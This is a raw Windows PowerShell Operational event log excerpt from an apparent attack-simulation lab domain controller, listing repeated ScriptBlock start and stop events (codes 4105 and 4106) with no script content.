SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467896
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467895
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467894
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467893
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467892
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467891
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467890
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467889
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467888
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467887
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467886
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467885
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467884
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467883
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467882
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467881
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467880
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467879
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467878
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467877
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467876
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467875
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467874
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467873
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467872
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467871
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467870
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467869
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467868
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467867
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467866
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467865
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467864
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467863
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467862
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467861
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467860
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467859
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467858
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467857
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467856
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467855
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467854
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467853
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467852
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467851
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467850
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467849
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467848
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467847
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467846
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467845
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467844
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467843
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467842
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467841
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
